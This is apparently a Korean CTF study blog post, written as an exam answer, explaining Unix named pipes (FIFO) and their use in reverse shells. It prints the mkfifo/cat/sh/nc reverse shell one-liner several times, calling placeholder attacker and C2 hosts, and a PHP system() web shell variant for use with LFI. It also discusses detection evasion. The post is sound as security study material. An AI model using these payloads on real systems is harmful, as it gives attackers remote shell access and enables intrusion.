named pipe

agnusdei·2025년 8월 4일
0

CTF

목록 보기
60/167

문제

Named Pipe 방식에 대하여 설명하시오. (정의, 동작 원리, 구성, 장단점, 보안/침투 실무 적용 포함)


1. 서론: 정의 + 배경 + 출현 이유

📌 정의

**Named Pipe (FIFO: First In First Out)**는 리눅스/유닉스에서 **두 개의 프로세스 간 데이터를 일시적으로 주고받을 수 있도록 만든 특별한 형태의 파일(파이프)**입니다.
mkfifo 명령을 통해 생성되며, 일반 파일처럼 보이지만, 읽기/쓰기에 대한 블로킹 동작과 양방향 통신 기능을 가짐.

📌 배경

  • 유닉스는 **프로세스 간 통신(IPC: Inter-Process Communication)**을 위해 파이프(pipe), 소켓(socket), 공유 메모리 등의 메커니즘 제공
  • 그 중 파이프는 기본적으로 익명(anonymous) 파이프이지만, 다른 프로세스 간 통신을 위해 파일 시스템 기반의 Named Pipe(FIFO)를 제공

📌 출현 이유

  • Bash나 Dash 같은 POSIX 쉘 환경에서 /dev/tcp 방식이 호환되지 않는 경우, 범용적 IPC 수단 필요
  • sh 환경에서도 동작 가능한 리버스 셸 우회 기법으로 사용됨

2. 본론: 구성 요소 + 기술 원리 + 실무 활용 + 보안 적용


📌 (1) 구성 요소

구성 요소설명
mkfifoFIFO 특수 파일 생성
cat, sh, nc입력과 출력을 FIFO에 연결
/tmp/fFIFO 파일 경로 (공격자와 통신하는 파이프 역할)

📌 (2) 기술 동작 원리

✅ 동작 구조 (양방향 리버스 셸 예)

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | sh -i 2>&1 | nc <ATTACKER_IP> <PORT> > /tmp/f

동작 순서 상세 설명

순서설명
mkfifo /tmp/f/tmp/f라는 이름의 FIFO 파일 생성
cat /tmp/fFIFO 파일을 계속 읽음 (stdin 대기 역할)
sh -i대화형 셸 실행
④ `nc IP PORT`sh -i의 출력을 netcat으로 전송
> /tmp/fnetcat의 입력을 다시 FIFO로 기록 → cat /tmp/f로 돌아감

🔄 핵심 포인트: 순환 통신 구조

  • cat /tmp/f가 netcat에서 들어온 명령을 sh에 넘겨줌
  • sh -i가 실행한 결과를 다시 netcat으로 보내면서 루프를 형성
  • 모든 표준 출력/에러가 netcat으로, netcat 입력은 FIFO로 주입

📌 (3) 실무/보안 활용 예시

🔐 실전 리버스 셸

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <C2> <PORT> > /tmp/f
  • 리눅스 시스템에서 Dash 또는 BusyBox 등 Bash 미지원 환경에서도 안정적으로 동작
  • /dev/tcp를 지원하지 않아도 작동 → 호환성과 성공률이 높음

📁 웹쉘 우회 인젝션

<?php system("mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <IP> <PORT> > /tmp/f"); ?>
  • PHP system() 함수로 실행 가능
  • php://filter, LFI(Local File Inclusion)와 결합 시 효과적

📌 (4) 장단점 비교

구분장점단점
장점- POSIX 쉘(dash, ash) 호환 가능
- /dev/tcp 미지원 환경에서 사용 가능
- 최소한의 명령어만으로 리버스 셸 가능
- netcat, mkfifo, sh만 있으면 구현 가능
단점- mkfifocat이 필요 (일부 미니멀 환경에서 누락될 수 있음)
- 루프가 약간 복잡하여 초보자에게 직관적이지 않음
- 파이프가 제대로 닫히지 않으면 블로킹됨
- /tmp/f 경로 고정 → 탐지 위험

📌 (5) /dev/tcp 방식과 비교

항목Named Pipe 방식/dev/tcp 방식
셸 호환성거의 모든 POSIX 셸Bash 전용
가독성복잡한 구조 (FIFO 순환)단순
성공률높음 (대부분 환경에서 작동)낮음 (busybox, ash 등 실패)
stealth (은닉성)/tmp/f 파일 생성 감지 가능감지 어렵지만 실행 실패 가능
명령 예시mkfifo + nc + shbash -i >& /dev/tcp/...

3. 결론: 어린이 버전 요약

  • Named Pipe는 컴퓨터 안에 있는 말하는 파이프예요.
  • 한쪽이 명령을 넣고, 다른 쪽이 그 명령을 읽어서 실행해요.
  • 그 파이프를 이용해 공격자가 명령어를 보내고 결과를 받을 수 있어요.
  • 그래서 /dev/tcp가 안 되는 환경에서도 이 방식은 거의 항상 성공해요.

✅ 기술사 채점 포인트 요약

평가 요소포함 여부
정의 명확성✅ Named Pipe, FIFO 차이 구분
구조적 설명✅ cat/sh/nc 연결 원리 설명
설계 판단력/dev/tcp와의 비교, 장단점
실무 대응력✅ 웹쉘, LFI, bash 미지원 환경 등 적용
전문가 시각✅ IPC 기반 설계, 보안 탐지 회피 등 포함

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글